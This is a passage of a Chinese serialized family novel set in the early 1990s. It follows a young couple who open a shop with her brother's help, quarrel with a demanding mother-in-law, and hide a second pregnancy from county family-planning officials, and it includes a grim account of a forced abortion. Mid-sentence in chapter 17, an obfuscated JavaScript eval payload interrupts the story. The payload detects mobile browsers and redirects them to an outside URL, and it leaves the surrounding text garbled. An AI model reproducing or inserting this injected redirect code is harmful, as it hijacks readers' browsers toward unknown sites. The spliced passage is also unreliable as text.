李争争作为一个女儿,根本不被期待出生在这个世界上。 生下李争争后,王惠没有坐好月子,她反复琢磨小坤妈的话,起初她对赵梅很是愤恨,觉得是因为她才耽误了儿子的病情;后来她又怀疑小坤妈的动机,她是不是想挑拨自己的婆媳关系? 可不管她心里上演了多少出戏,她也没有勇气和赵梅聊那天的真实情况,她决定把这件事埋进肚子底,因为她觉得自己一个新嫁进门的儿媳妇,家庭地位都没稳固,不好和婆婆正面对峙,况且一大家子人共生,最讲究“家和万事兴”了。 王惠为了让自己心安,把所有过错都在心里归结给赵梅,赵梅固然有错,大错特错,可王惠从没反思过自己的思想与行为。 作为一个成年人,还是一个母亲,严格来说,赵梅没有义务做她和孩子的救世主,能救孩子的人只能是她自己。若不是她“等、靠、要”的惯性思维,把依赖、期待、妄想放在别人身上,怎么会耽误栋栋的病情? 当然,现在王惠又平添了不敢求证事实的懦弱。 王惠是一个被过度保护的女儿,她自幼生活无忧,在家靠父母,在外靠兄长,嫁作人妇后靠丈夫,靠婆家,总之她有得靠,所以不用完全靠自己,这就造就了她的习惯性弱势。 15. 开小卖部 1990年底,电视剧《渴望》播出,农村的信息传递滞后,王惠到1991年初才开始看这部剧。 这部剧当年万人空巷,村民们都钻在有电视的人家里,一坐一满院,看完还得讨论半天才回家,刘慧芳的贤惠善良、吃苦耐劳深得人们的喜爱,甚至一度有“娶妻当娶刘慧芳”的说法。 李武每天从工地回来后,先抱抱争争,紧接着打扫院子、搬电视、接外电,然后小两口才吃饭。 一般情况下,他们晚饭还没吃完,邻居们就拿着小板凳来看电视了。 朴实的人们也从不空手来,有的带瓜子,有的带炒花生,有的带自家树上结的水果。 小两口很快和新家周围的邻居们融洽相处,平静朴素的日子就这样过着。 白天李武不在家,王惠偶尔忙不过来,前院郭大妈会帮忙带李争争;郭大妈的丈夫去世了,农忙时李武也会帮她拉粮食。 那一年,村委会刚安装上广播喇叭,吃完晚饭后,人们正纳凉聊闲的时间,大队喇叭开始广播:第六次计划生育结扎工作已在县里全面展开,上环光荣,多生可耻,请广大妇女同志积极配合。 村民们听到这种广播好像习以为常,对“上环光荣、女性伟大”这种言词也信以为真,很傻很天真的她们甚至排着队去村委会旁边那间简陋的破屋子主动上环。 没有人告诉她们,节育环的原理是把金属放进女性子宫口,每时每刻对子宫进行轻微刮蹭,从而使子宫持续产生创伤与炎症,最终达到避孕效果。 如果让长大后的李争争穿越回那个年代,她一定会阻止广大女性同胞去做这件事,一定会愤怒地斥责道:“上环光荣?这光荣给你要不要?女性伟大?给谁立贞节牌坊呢?这损伤身体的伟大给你要不要?” —— 1991年初,王惠的大哥王勇在县城里开了第一家驴肉火烧店,由于大嫂林娟炖的驴肉又香又嫩,王勇打的火烧又酥又脆,驴肉火烧一口咬下去酥、润、弹、香,生意简直如火如荼,食客们能够吃到全靠抢。 三月初,隔壁的小卖部转让,店主是一对山东小夫妻,他们要回老家。王勇得知后,蹬上自行车一溜烟儿就来到李武家。 当时已经下午四点多了,王惠正坐在水井前洗衣服,李争争躺在小竹车里玩儿。 王勇拿了个板凳坐下,一边来回摇争争的小竹车,一边逗她,“我们争争是天使宝宝呀?怎么那么爱笑呀?” 李争争看着舅舅哈哈傻乐,连小牙儿都还没长齐呢。 “啊?天使宝宝?我大外甥女儿?哎哟,好姑娘,舅舅抱抱。”王勇小心翼翼地抱起李争争,“你太软了小宝宝,又软又小的小公主呀?好孩子!” 王惠把衣服放在搓衣板上,一手洒洗衣粉,一边撩水打湿,她实在听不下去了,怼王勇:“大哥!你怎么回事儿?跟孩子说话怎么还夹着嗓子呢?” “还不是稀罕我大外甥女儿啊?这小姑娘长得太好看了,是不是?争争...争争小朋友...”王勇身高一米八,几个月的小姑娘没他胳膊长,这俩人放一起,形成了最萌身高差。 “行了,打住!太嗲了,我听不下去了。”王惠真是没眼看她哥那副不值钱的德行。 “我真应该再要个闺女,有个臭小子天天能气死我,闺女多好啊。”王勇轻手轻脚地把争争放回小竹车里,转头问:“小惠,你最近怎么样啊?” “挺好的啊,怎么了?”王惠看向王勇,递出疑问式的眼神。 “没事儿,驴火店旁边的小卖部要转让,你们两口子商量商量要不要接?”王勇说。 小争争的大眼睛盯着王勇眨啊眨,最后伸出小胳膊咿咿呀呀个不停,王勇又抱起她,哄得小丫头大笑不止,他说:“那片儿的生意不错,小卖部生意也行,前面是火车站,后面是礼帽厂家属院,周围还有县政府、医院和学校,盘下来做买卖不会亏的,亏了你哥给你顶着。” “有大面积啊?”王惠问。 “五十三平,比炉火店小一半儿吧,要干就跟我一样,直接把那块地买下来,估计得三千块钱。”王勇说。 “行,我商量商量。”王惠说。 “你们刚分家,又有了孩子,你得好好为自己打算,以后用钱的地方多的是,想不受委屈和制约,就得自己挣钱,听到没有?”王勇虽笑着看争争,话却很严肃地砸进王惠耳朵里。 “听到了大哥,总是要给我训话似的。” “你以为我愿意训话?我是心疼你,一嫁过来就遭了大罪!盘店的钱,你们俩要是不够,我给你垫,后续再慢慢还,别错过了机会。” —— 晚上李武回来后,王惠跟他商量盘店的事,李武这个人思维简单,他知道王勇一片好心,可是盘店得有资金,不能全部都让大舅哥出,那不就相当于让人家把钱送给自己吗?” 男人都是好面子的,这事儿李武干不出来,他还想在王惠娘家人面前挺直腰杆呢,可不能被人戳脊梁骨。 于是,当天晚上李武来到父母家,一进屋就看到赵梅正在做小被子,炕头放着两只缝好的红色小老虎,赵梅见李武掀开门帘进来,问:“吃饭了吗?” “吃了,我爸呢?”李武左看右看找李同仁。 “你爸去村长家了,怎么了?有事儿?”赵梅在灯下眯着眼睛认针。 “没事儿,转个圈儿看看你们。”李武伸手接过针钱,把线穿过针鼻,问:“这是做什么呢?” “老三媳妇儿这不是月份儿大了,给孩子做条小被。”赵梅抬头看李武,问:“晚上吃饭了吗?” “吃了。” “吃的什么?” “喝的粥,炒了个土豆。”李武问:“妈,能给我拿点儿钱吗?” “要钱干什么?你不是一直有活儿干吗?你还能缺了钱?”赵梅继续缝被子。 “今天我大舅哥来了一趟,他旁边那个店转让,问我们要不要接,王惠跟我商量了商量,觉得是个机会。”李武如实地跟赵梅说。 “有钱吗你们就想接?”赵梅不抬头,一边缝一边说,“再说了,你们奔城里,家里的地谁管?不种了?” “种啊,到时候就回来呗,骑自行车不才一个小时吗?”李武见赵梅不接他借钱的话茬儿,直接说:“我想借一千块钱,既然分家了咱们就明算账,算我借的。” “一张嘴就要一千,哪有一千块钱?你看看你妈口袋里有一块钱吗?”赵梅不耐烦地说,她继续缝被子,登时顿住,“等等,李武你什么意思?你们两口子真准备去城里住啊?” “我们要在城里开小卖部,可不得住城里吗?天天往回跑啊?这大棒子地,满世界的青纱帐,多危险呐?”李武说。 赵梅冷笑一声,生气道:“我就跟你爸说你大哥大嫂没开好头儿,尤其是你嫂子,他们一家子去远处吃香的喝辣的,这将来我跟你爸有个三长两短的,他们两口子就不管了呗,你!李老二!你也一样!将来也不准备管我们俩了。” 李武被赵梅说的一头雾水,怎么就扯 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李武不自觉握紧拳头,他背对着母亲,隐忍地闭了闭眼睛,悲伤和愤怒卡在喉头,吐不出,咽不下,他泄愤似地怒吼:“你总是这样......总是这样......” 赵梅隔着模糊的玻璃望向儿子远去的背影,那么宽阔,那么沉重,那么憋屈...... 李武回到家,沉默地上床睡觉,王惠察觉到他情绪不好,便问:“怎么了?” 他摇摇头,什么都没说。 后来,他们还是把小卖部盘了下来,李武和王惠省吃俭用凑了五百块钱,王勇给他们出了两千五百块钱,林娟给他们找了个院子住,还垫付了一年的年租。 就这样,他们也算在城里安顿下来。 要说开小卖部也简单,上家儿当着王惠和李武的面把货品盘点清楚,再把房子的价格谈妥,也就一个晚上,小卖部就正式易主了。 —— 当天晚上,李武和王惠一宿没睡,他们在店里进行大扫除,还把所有货品重新整理了。 凌晨五点多,王勇和林娟铛铛铛敲小卖部的大铁门,李武给他们开门,王勇手里拿着一条大大的红色横幅,上面写着“开门大吉,重磅酬宾”。 “李武,咱俩把这个挂上,新店开张总得有点儿红,咱红红火火的。”王勇说。 “好嘞大哥,我去找梯子。”李武说。 林娟推着个崭新的婴儿车进来,彼时王惠正蹲在地上摆饮料,林娟问:“争争呢?” 王惠指了指收银台里面的椅子,她小声说:“在里面睡觉呢。” “好好好,下次让孩子在这个小车里睡,这个空间大,也有保护孩子的肩带。”林娟说。 “谢谢大嫂,我们开这个店,全靠你跟大哥支持。”王惠说。 “说什么胡话呢,你大哥最希望你过得好了。”林娟蹲下来,跟她一起拆饮料箱子,“小惠,你现在还在哺乳期,在店里给孩子吃奶不方便,你去驴火店,你大哥专门给你留了个小房间,要是孩子吃奶,你就抱去那儿,从后门儿过去,近!” 王惠停下手中的活,看着林娟,眸子里满是感动,她除了感受到长兄如父以外,还感受到长嫂如母,大嫂总是那么细心体贴,“店里那么忙,你还给我腾个屋,多耽误生意呀。” “没事儿,以前我抱着大鹏的时候,也是在那里面吃奶的,你大哥给咱俩留的专属母婴室。”林娟笑着说。 自从小卖部开业,李武和王惠总是轮流看店,空下来的人一定会去王勇的驴火店帮忙。 16. 越过越好 后来有一天晚上,李武帮完忙回到租住的家里,王惠正坐在餐桌前抱着孩子等他,面前摆了一盘洗好的李子。 “怎么还不去躺下?”李武问。 “专门等你呢,我想跟你商量个事儿。”王惠轻手轻脚地起身,把睡着的争争放回里屋。 李武扬手脱了背心,露出腹上紧实的肌肉,他拿了条毛巾随意地搭在肩膀上,小声对王惠说:“我先去洗澡,洗完出来再说。” 王惠轻轻拍着争争的背,抬了抬下巴,柔声说:“去吧。” 李武洗完澡,湿着的头发被他全部捋到后面,露出光洁的额头与英气的眉眼。 他坐在餐桌前,拿了两个李子,往自己嘴里塞一颗,递给王惠一颗,他问:“什么事,媳妇儿?” 王惠就着他的手咬了一口李子,酸得她直闭眼,“这李子太酸了。” “你往家拿的时候没尝尝?”李武不觉得酸,以前在家的时候能有水果吃就不错了,挑什么酸的甜的咸的,就是苦的他也能往嘴里塞。 “不用尝,我知道这是酸的,又甜又大的都卖了,又小又酸的根本卖不出去,我怕明天坏了,就拿回来自己吃吧。” 王惠一边嫌酸一边吃,李武猛得用力,把她拉到自己腿上坐下,一手揽着她的腰,在她颈侧深吸一口气,像是汲取能量一般,霸道地说:“以后什么甜往回拿什么,听到没有?” 一丝沐浴露的薄荷味清清凉凉地飘进王惠鼻息,她害羞把脸埋进李武肩窝,轻轻点了点头,说:“你说咱们在小卖部前支一个烙饼摊儿怎么样?” “合适吗?这样会不会抢大哥的生意啊?”李武疑问。 “我悄悄告诉你,其实是大哥点拨我的,他这几天每次去店里拿啤酒,都会提一次去市场买的烙饼不新鲜,油还不好。”王惠白玉似的双臂挂在李武脖子上,她继续说:“我一开始没明白什么意思,今天往回走的路上才茅塞顿开。” “可以啊媳妇儿,这样咱们又多一份收入。”李武一手轻抚王惠的背,一手伸出食指点在她的脑门上,发自内心地夸赞道:“还得是我媳妇儿呀,脑子真活泛。” “你是不是傻,哪儿是多一份收入?”王惠责备地瞪着他,然后慢吞吞伸出两根手指,得意地说:“明明就是两份收入,明天我跟大哥说,以后他店里的烙饼咱们来供应。” “大哥的钱,咱们不能赚呀,他已经帮咱们够多了。”李武是个讲义气、也有原则的男人。 “那就给他打个亲情折,总得收点人工费吧,这大热的天儿,在炉子旁火烧火燎地烙饼也不容易的。” “你先跟大哥说,烙饼的供应价全听他的,咱俩能开这个小卖部全靠大哥,咱不能跟大哥提要求。”李武说。 “行,我知道,只要咱们现在勤快点儿,日子总会越过越好的。”王惠望着窗外深邃的夜,好像望见了美好的未来。 李武的额头抵着王惠的额头,彼此气息纠缠,李武眸子里布满情欲,他双臂一紧,勒着女人的腰紧贴在自己胸前,他呼吸有些急躁,哑声问:“媳妇儿,孩子都睡了!” 王惠冲他眨眨眼睛,心领神会,搭在他颈后的嫩手不自觉捏了一下,李武像是得到允许一般,猛烈地吻住自己的爱人。 —— 王惠和王勇提了以后,王勇很是支持,而且价格和市场采购价一样。王勇之所以提点妹妹开烙饼摊,根本不是想节省成本,而是设身处地的想让他们把日子越过越好。 小两口每天忙得不亦乐乎,王惠在里面看小卖部,李武在外面烙饼卖饼,虽然挣的都是辛苦钱,但日子过得无比踏实,也很有奔头儿。 天气燥热起来,李争争也大一些了,十个月的小丫头还不会走路,但是已经会说一些话了,有时候王惠在店里忙不过来,李武就把李争争的小竹车推到阴凉处,他一边看着李争争,一边烙饼。 李争争从小是个贪睡的,绿皮火车一趟一趟在不远处通过,哐当哐当地震天响,她丝毫不受影响,雷打不动地呼呼大睡。 —— 眼看店里生意越来越好,有一天上午,王惠正在店里摆烟,李武去市场上货回来,一进门特兴奋地喊王惠。 王惠扭过身,见他站在灿烂的阳光里笑,他说:“小惠,快看,我给你带什么回来了?” “什么呀?”王惠也笑得明媚。 李武双手背在身后,很是神秘地走到她面前,两人隔着玻璃柜台对望。 “别卖弄神秘,是什么?”王惠伸手抓他胳膊。 李武这才从背后拿出一个四四方方的小盒,“打开看看。” 王惠接过小盒,眉眼弯弯地拆包装,拆开一看,是一个银色的小方块,“收音机?是收音机啊。” 李武看到王惠开心的模样,他很是得意,心满意足的得意,他嘚瑟地说:“你老公怕你一个人看店闷得慌,先给你买了个随身收音机玩玩儿,等能接线了,立马给你买电视,咱买个大的。” 他一直都知道王惠与别的农村女人不一样,她身上有雾一样的气韵,她总是微笑着,害羞地低头,其实是用表面的腼腆保护内心的敏感。 岳父大人王书珺是教书的,所以媳妇儿从小到大耳濡目染也好,言传身教也好,她一直都是个爱读书,爱思考,渴望见识新鲜事物的女人。 李武爱她,想保护她的浪漫和热忱,所以竭尽所能地为她提供信息窗口。 —— 九月底,李斌媳妇向华生了个儿子,全家上下都洋溢着浓浓的喜气,尤其是赵梅,简直喜上眉梢。 生完第七天,李武骑着二八大杆,前面载着李争争,后面载着王惠,一家三口回广进村去探望。 一进李斌家的院子,远远就看见赵梅在中间屋子里抱着小婴儿轻拍,李同仁在她旁边伸着手,跃跃欲试地想抱一下。 “爸,妈,我们回来了。”李武掀开门帘,和赵梅、李同仁打招呼 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“小卖部前摆了个台球桌,跟他们打了两把,别说,新桌子打起来就是爽。”李斌很是满意,像是过了把瘾。 “就知道玩儿,跟还没长大的孩子似的。”说着,赵梅从他手里接过菜,转身往配房走,“也不说赶紧出去挣钱去。” “是我不想去吗?我明明找了一个开车的活儿,你们不让去啊。”李斌的脾气就像炮仗,易燃易爆炸,他追着赵梅说:“我爸答应给我安排工作,那就赶紧的呀,就知道叨叨我,你怎么不叨叨我爸去?” 赵梅不敢顶撞李斌,只转移话题说:“行行行,快去吧,让你二嫂来厨房帮忙。” 王惠做饭麻利,三下五除二就把所有配菜准备好,赵梅在一旁给她打下手儿,赵梅问:“小惠呀,你们那小卖部开起来了?” 王惠开火热油,放入花椒大料,她答:“算开起来了吧。” “生意怎么样呀?” “一般吧。” “哦,那还不如回来种地呀,你和争争的地马上就分下来了。” 王惠笑了一下,把菜下锅,在烟熏火燎中结束了这个话题。 吃过饭后,王惠里里外外地收拾完,呆了一个小时就回去了。 路上,李武骑着二八大杠,王惠坐在后座,怀里抱着呼呼大睡的李争争,王惠不由地感叹:“我觉得咱俩做得最正确的选择就是听了大哥的话。” “在外面开店啊?”李武问她。 “对啊,你看咱们现在日子过得多清净?也有奔头儿,咱们俩努力几年,在城里买套房,以后争争就是城里的孩子了。”王惠心里充满了希望。 “是啊,城里的孩子喽......”话音未落间,李武猛地骑快了,秋天的风吹在他们脸上,仿佛闻到了收获的味道。 17. 又怀孕了 人类幼崽的成长速度总是惊人的,一两天不见,李争争就学会了新技能。 1992年元旦,李争争1岁4个月09天,这时候正是可爱又不好哄的年纪。 小家伙自来熟,经常语出惊人逗得来买东西的人哈哈大笑,最近还学会了磕磕绊绊地跑,四个大人每天轮流看着她都看不过来。 这天小卖部开门开到上午十一点,李武载着王惠娘儿俩回广进村过元旦。 还是骑那辆二八大杠,不过李武给争争在前面大梁上安了个儿童椅,王惠还是坐在他的后面,一辆最简单不过的自行车,承载他们一家三口的幸福。 到广进村十二点多,一大家子人已经落座,王惠连忙说:“爸,妈,我们回来晚了,店里有客人耽误了会儿。” 李同仁怀里抱着大孙子,他点点头,没说什么。 “赶紧先去洗手,就等你们了。”赵梅喜笑颜开地说,“店里的生意很忙是不是?” “对,礼帽厂家属院全都搬过来了,一早一晚是挺忙。”王惠实在地说,她端起暖壶往盆里倒水,又兑了些冷水,用手指搅了搅,确定水不凉不热,才给李争争撸起袖子洗手。 餐桌上,赵梅剥了一个鸡蛋,转头问王惠:“争争吃得了一个鸡蛋吗?” “吃得了,她最爱吃鸡蛋了。”王惠眉梢洋溢着过节的喜气。 赵梅把剥好的鸡蛋放进争争的碗里,慈祥地笑着说:“大孙女儿先吃鸡蛋。” “谢谢...奶奶...”李争争一口的小奶音儿,乖巧地望着奶奶的眼睛说。 “哎,好孩子,你要多回来看奶奶,好不好?” 李争争用力地点头,“好!” 李斌看着扎起两个小揪揪的李争争,也笑得合不拢嘴,忍不住逗她,“争争,你叫我什么呀?” 李争争眨巴眨巴眼睛,思考了一下,说:“叔叔...好......” “哎,好孩子,快吃饭。”李斌简直被她给萌化了。 “老二啊,你们俩要是忙不过来,就找个人帮忙儿。”赵梅对李武说,“争争现在会跑会跳了,最需要人照看的时候,可不能出差错。” “放心吧妈,那边还有舅舅、舅妈一起照顾,我们四个大人拉扯她一个小家伙儿。”李武一边吃饭一边说。 “刚不还说咱们家店里忙不过来吗?你在外面烙饼,小惠在里面又卖东西又带孩子,她怎么忙得过来?”赵梅说。 王惠侧头看了李武一眼,柔声对赵梅说:“妈,忙得过来,一早一晚我哥和嫂子会把争争抱他们那边儿。” “他们那儿不是个饭店吗?人来人往的,都不知道是些什么人,万一看不过来怎么办?我们可是个金贵的小丫头儿。”赵梅说话声音厉了些。 王惠和李武都沉默了,见他们不说话,赵梅继续说:“我看啊,让老三过去给你们帮忙吧,老三年轻力壮,手脚麻利,让他干什么都干得了。” 李武放下筷子,沉吟一下,说:“妈,这个店大部分的钱是小惠她哥出的,我们俩也就占一小部分,这事儿得和他商量商量。” “儿子,咱们当初弄那店,他不说给你们俩开的吗?怎么你现在带你弟弟过去,还得商量商量?你爸还在呢,咱们老李家在王家人面前就说不上话了?”赵梅把饭碗摔在桌子上,越说越生气。 赵梅话里话外的“王家”,王惠想做个好儿媳,她给赵梅夹了块肉,说:“妈,大过节的别生气,回去我们跟我哥说,我哥指定能同意,您消消气儿啊。” “这还像句人话,老二你一会儿来我屋里,我得跟你说叨说叨。” 赵梅理不直气也壮,她像是金鱼的记忆,全然忘了李武跟她借钱开小卖部时,她是怎么把李武给撵走的。 吃完饭,李同仁就出门了,李斌和向华抱着儿子回自己家了,李超带着争争去自己房间玩,只剩王惠一个人收拾桌子洗碗。 李武被赵梅叫进房间,赵梅仔细掩好门后,转身就压低声音斥责李武:“你弟弟什么情况你不知道啊?你当哥哥的还不好好给他安排活干?我是不是白养你了?” “妈!我都说了那个店有2500块钱都是人王勇出的,我满打满算才出500块钱,你让我怎么办?我不找他商量商量吗?”李武心里委屈,也很失望,对于自己的母亲很失望。 “在她们王家人面前,你就那么抬不起头啊?还是你现在老婆孩子热炕头,生意红火挣钱多,就把我们全都给忘了?”赵梅毫不留情地数落他,“你个白眼儿狼,咱们这一大家子穷得连饭都吃不上,你发达了就不要我们了呗?” “妈!我哪儿是这个意思?我爸不是说给老三安排工作吗?怎么一直没下文呢?”李武是个吃软不吃硬的脾气,赵梅说话越难听,他越硬刚。 “你爸他们那种单位是要体检的,老三这种情况,怎么可能安排得了?”赵梅越说越委屈,眼圈都红了,毕竟是自己的儿子,她怎么会不知道怎么顺毛捋呢? 赵梅哭着说:“你妈我也是没辙呀,老三现在讨了媳妇,也有了孩子,总得让他有个生计吧?要不然将来怎么办?他那个情况,你又不是不知道,我将来就是死,我也不能瞑目啊。” 李武盯着地面沉默两秒,叹出一口气,问:“老三...最近...没犯病吧?” 赵梅抬头看他,“没有...自从结婚以后就没犯过,也没再吃过药,你说他是不是彻底好了?” “你还是得给他常备着药,去城里干活的事,小惠会好好跟她哥说,放心吧。” —— 李斌一家三口回去睡了个午觉,到下午三点多又来老房子这边看电视,毕竟新年头一天,还是一家人在一起热热闹闹的。 他家儿子也是李同仁取的名字,本来想让这一代的孩子都按“国”字辈儿起名,可上面有个“李国栋”去了,于是李同仁干脆放弃了这个字,直接给孩子取名“李光宗”。 李同仁只要在家,这个大孙子李光宗谁也不找,只粘着爷爷。 一大家子人凑在里屋看电视,李同仁抱着李光宗几个屋子来回串,小孩突然皱着眉头使劲,只听噗噗噗的声音,李同仁预感不妙,把他躺放在餐桌上,抽出褯子看一眼,果然拉了。 李同仁赶紧抱着他来里屋,递到向华怀里,说:“快快快,小伙子拉了,这家伙劲儿真大,一用力拉了老大一片。” 向华把李光宗抱到炕上,从炕边拿了条赵梅叠好的褯子,再把小孩屁屁下的褯子抻出来。 整个过程,李同仁都凑在跟前看,还顺手接过了向华手中的屎褯子,他上下打量屎褯子,不禁啧啧称赞,“哎哟喂,这大小伙子,拉的屎都是金灿灿的,跟香油酱似的。” 王惠眼睛看着电视,耳朵听着李同仁讲话。 回到县城以后,王惠和王勇说了李斌的事,王勇很是体面的说:“那是你们两口子的事儿,你们自己决定,不用问我的意见。” 于是,李斌就来到城里负责烙饼摊,李武则更多照看小卖部的生意,王惠有了更多时间照顾李争争。 换个角度来看,就是当劳动岗位有限的时候,王惠作为一个女人,被一家人的花言巧语驱逐到了家庭里面看孩子。虽然这些劳动岗位是因为她才有的,而她自己尚不知问题的严重性。 —— 1992年,国家领导人南巡,确立了发展才是硬道理,一时间中华大地春风乍起,人们纷纷闻风而动。 那一年中国房地产巨头集体井喷;股市也进入亢奋状态,上海、深圳纷纷被被引爆,每个参与其中的人都觉得股票能让人一夜暴富。 这一年是波澜壮阔的开始,光荣与梦想四处迸射,财富似乎唾手可得,而环境单一、信息闭塞的农村人们,却还朴实地守着那一人八分地默默耕耘着。 当然,他们除了种地以外,还在钻心磨眼地生孩子。 王惠发现自己又怀孕了。 那时计划生育抓得特别紧,刷在农村大墙上的口号是【生男不再生,生女间隔四年生】,好一个重男轻女,一个家庭为了能生下男孩,育龄妇女和女婴必定是牺牲品。 彼时,李争争才一岁半,王惠开始了东躲西藏、不见天日的日子。 自从知道怀孕后,王惠就不敢再回广进村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529626|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,没想到计生办的人竟然跑到城里来抓她。 八月中旬的一天,李斌正在店门口烙饼,李武在小卖部里边整理货架,四五个男人两个女人站在店门口,凶巴巴地问:“谁是李武?” 李武连忙站起来,“我是。” 领头的男人先在店里环视一圈,说:“我们是县计生办的,你媳妇儿呢?” 一听是计生办的,还是县级,李武顿觉不妙,他眉头轻皱一下,说:“我媳妇儿出远门了,你们找她有事儿?” “你媳妇儿是不是怀孕了?”那人厉声呵斥:“怀孕是违法行为!” “没有啊,我媳妇儿出远门儿了,怎么怀孕?我倒想让她赶紧回来呢。”李武尽量保持镇定,双手紧紧握住桌沿儿,其他几个人开始在屋子里搜寻。 突然一个女人看见小阁楼上晾着争争的小袜子,她往楼梯上走,往那小袜子上一摸,“队长,袜子是湿的。” 那队长一把抓住李武的衣领,大声质问:“你媳妇儿人呢?到底在哪儿?赶紧让她出来!” 就在这时,一个女人的身影映在门口玻璃上,李武吓得瞪大双眼,他用力地摇头。 计生办的人也看向门口,门帘被缓缓掀开,原来是林娟来了,她被眼前的场景吓到,问:“这...这是怎么了?” “你是他媳妇儿?”计生办的人问。 “不...不是...不是...我是他大嫂,过来拿晾的袜子,准备拿回家呢,在这儿也晾不干。”林娟怯生生地说,她很害怕,甚至在发抖,抖是因为恨,她认出了这群人里有一个眼熟的。 几年前林娟被计生办的人抓过,那帮人拿着又粗又长的针,硬生生穿破她的肚皮,扎在已经成型的胎儿头部,林娟的双腿瞬间爬满鲜血,七个月的孩子当场就掉了。 计生办的人又转头问李武,“这不是你媳妇儿?” “不是,是我大嫂,因为我媳妇儿不在家,我大嫂帮我带孩子。”李武顺服地说。 林娟往阁楼上走,经过那个当初抓过她的人面前时,默默握紧拳头,那个人凑到队长面前,说:“队长,这不是他媳妇儿。” 计生队长这才放开李武,“我警告你,遵守计划生育条例,别让我们逮到你们一家子犯错。” 林娟上楼拿了袜子,骑上自行车就往远处走了。 计生队的人没搜到孕妇,也没抓到什么实质性的把柄,乌泱乌泱地出来,那队长抬头望着小卖部招牌,命令道:“不会有人无缘无故地举报,给我盯紧他们家。” 这帮人一走,李武掀开门帘环视一圈,李斌正杵在一边旁观,李武眼见他们都走了,才放下门帘,悄悄从后门溜到王勇的驴火店里,王勇看他一眼,两人一前一后进入包间。 李武焦急地问:“大哥,小惠呢?” “幸亏咱们两个店的厕所是连着的,你大嫂见那帮人来,赶紧把小惠拉这边来了。”王勇很是疑问,“计生办的人怎么会追到城里来?自从怀上了,小惠就再没回去过吧?” “据说是被人举报的,可能和我爸的工作有关。”李武叹了口气,问:小惠人呢?她在哪儿?孩子现在月份大了,经不起折腾。” “你担心孩子还是担心我妹?”王勇不爱听他刚才那句话。 “我当然是担心小惠了,突然被检查,我怕她吓着。”李武赶紧解释。 王勇一副“这还差不多”的模样,说:“刚才你二哥正好在这儿,我让小惠和争争跟他回家了,没吓着,放心吧,你大嫂也过去陪她了。” 李武悬着的心这才放下来,他连连说:“谢谢大哥...谢谢大哥...多亏了你跟大嫂,还有二哥。” 当天,李武把小卖部交给李斌,自己火急火燎地蹬上自行车先去王博(二哥)家看王惠,又绕道回了趟老家,他把情况和李同仁一说,李同仁皱着眉头,深沉地说:“看来这个空降的乡长真要搞事情啊。” “爸,到底怎么回事?”李武问。 “乡里来了新干部,我工作上的事儿,你就别问了,让王惠躲好,不准再露面儿,你们在城里都小心点儿。”李同仁说。 18. 躲躲藏藏 从那天起,王惠就不敢再来小店,她只能带着争争在王博家住下。 有时候她也会想,我不过是结了婚、怀个孕,想生个孩子,为什么就变得像过街老鼠一样躲躲藏藏呢? 城里的生意全权交给了李武,李斌独立负责烙饼摊位。 一天,赵梅起了个大早儿,她想着自己两个儿子都在小卖部,可小卖部长什么样儿,她都没见过,于是她骑上自行车来到城里。 离得老远,赵梅就看到李斌围着围裙在柔面,肩膀上搭着条毛巾,时不时擦一下汗。 “老三!”赵梅一边喊李斌,一边停自行车,接着从车筐里拿下一大兜吃的。 “妈,你怎么来了?”李斌抬头看了她一眼,便继续低头干活。 “妈来看看你呀,在家哪干过这种活儿?”赵梅心疼极了,她环视四周,看见不远处有一台落地扇,便走过去把电扇打开,问:“你最近怎么样?在这儿干得还习惯吗?累不累?” “累是肯定的啊,每天都腰酸腿疼的,还有胳膊也疼。”李斌最会和赵梅诉苦了。 “哎哟,妈给你拿瓶水去,这大夏天的干力气活,你二哥怎么也没给你拿瓶水啊?” 赵梅掀帘进屋,没见着李武,她喊:“老二?人呢?在店里吗?” 李武的声音从后院传来,“在呢,妈,你怎么来了?”李武嘴唇发白,有气无力地走进屋。 “你怎么了?没事儿吧?”赵梅赶紧问。 “不知道是吃坏肚子了,还是中暑,上吐下泻的不舒服。” “赶紧的,喝点儿藿香正气水儿。”赵梅走到冰柜前,拿了两瓶水,递给李武一瓶,“店里有藿香正气水吗?” “店里没有,驴火店有,我大嫂去拿了。”李武虚脱地坐在柜台里,额头浸满了大颗大颗的汗珠。 赵梅顿住,反应了一下才想到他所谓的“大嫂”是谁,她给李斌拧开瓶盖,递到他嘴边,说:“来,老儿子,喝口水,冰的,凉快凉快。” 李斌喝了一口,把揉出来的面醒上,问:“我哥在里面干嘛呢?也不出来给我帮忙儿。” “他有点不舒服,里面坐着呢,儿子,你有什么需要妈干的?妈给你帮忙。”赵梅说。 “等会儿吧,醒面20分钟,一会儿你给我擀面。”李斌擦了把汗,坐到电风扇前。 赵梅随手拿了张硬纸壳,凑近李斌给他扇风,问:“老儿子,你在城里住得怎么样?晚上睡觉睡得好吗?” “住的挺好的,比家里强多了,热了有电扇,渴了有冰西瓜。” “那还行,你觉得这活儿怎么样?能干吗?”赵梅问。 李斌看着他妈,眉头微皱,不解道:“什么叫能干吗?我这不每天都在干吗?一天也没了耽误呀。” “妈的意思是赚不赚钱?你愿不愿意长期干下去!”赵梅蹲在他身前问。 “赚不赚钱的,我哥不也就给我开那点儿工资吗?”李斌没明白赵梅的意思,他又喝了口水,继续说:“还行吧,够我花了。” “要是不让你哥给你开工资了呢?”赵梅看着他的眼睛,压低声音问。 “妈,你什么意思?”李斌似乎懂了。 “大婶子,你来啦?”林娟手里拿着一盒藿香正气水,停在这娘儿俩不远处。 赵梅面带笑容地站起身,“来了来了,来看看这俩儿子,怕小惠不在,他们俩忙不过来。” “婶子你放心,他们忙不过来,我们两口子会帮忙的。”林娟笑着搀住赵梅的胳膊,说:“中午去我们店里吃饭,王勇早就说该拜访您呢,得感谢您对小惠的照顾。” “哎呀,不麻烦你们,耽误你们生意,我老婆子过意不去。”赵梅客气道。 “您甭管了,中午我们当家的安排。”说着林娟掀开门帘进入小卖部,李武还趴在收银台上,“争争爸,怎么样了?来,把这个喝了。” 林娟拧开霍香正气的瓶子,李武接过仰头喝了下去。 